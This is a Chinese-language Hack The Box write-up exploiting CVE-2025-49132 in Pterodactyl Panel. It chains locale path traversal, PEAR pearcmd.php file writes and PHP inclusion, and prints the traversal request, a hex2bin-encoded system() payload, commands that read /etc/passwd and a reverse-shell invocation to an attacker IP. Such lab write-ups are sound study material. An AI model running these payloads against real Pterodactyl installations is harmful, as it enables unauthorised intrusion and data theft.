CVE-2025-49132 - Pterodactyl Panel RCE 漏洞利用

HTB 第10季 - Pterodactyl 机器 Writeup

概述

目标: Pterodactyl HTB 机器（中等难度）
CVE: CVE-2025-49132
严重性: 严重 (CVSS 9.8)
攻击类型: 未授权远程代码执行
影响版本: Pterodactyl Panel < v1.11.11

此漏洞利用链结合了：

1. 路径遍历 在区域设置翻译系统中
2. PEAR 命令注入 通过 pearcmd.php
3. PHP 代码执行 通过文件写入 + 包含

漏洞点

Pterodactyl Panel 的 /locales/locale.json 端点允许通过 locale 参数进行路径遍历：

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

这可以与 PEAR 的 pearcmd.php 结合使用：

1. 将任意 PHP 文件写入 /tmp
2. 通过另一个请求执行它们

为什么有效

PEAR (PHP 扩展与应用仓库) 有一个 CLI 工具 (pearcmd.php)：

• 通过 URL 参数接受命令（本意仅用于 CLI）
• 有一个 config-create 命令可以写入文件
• 通过 Web 调用时没有身份验证

漏洞利用链：

路径遍历 → 加载 pearcmd.php → 通过 config-create 注入 PHP → 执行恶意 PHP

Hex2bin() 技巧

命令使用 hex2bin() 进行十六进制编码，以绕过：

• URL 编码问题
• 特殊字符过滤器
• Nginx/PHP 解析问题

示例：

命令: whoami
十六进制: 77686f616d69
载荷: <?=system(hex2bin('77686f616d69'))?>

远程代码执行

方法：使用提供的 exploit.sh

chmod +x exploit.sh

# 获取用户标志
./exploit.sh flag

# 执行命令
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# 反向 Shell
nc -lvnp 4444  # 在攻击者机器上
./exploit.sh shell 10.10.14.21 4444

参考资料

CVE 及漏洞利用

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

技术资源

• Pterodactyl Panel 文档
• PEAR 文档
• OWASP 路径遍历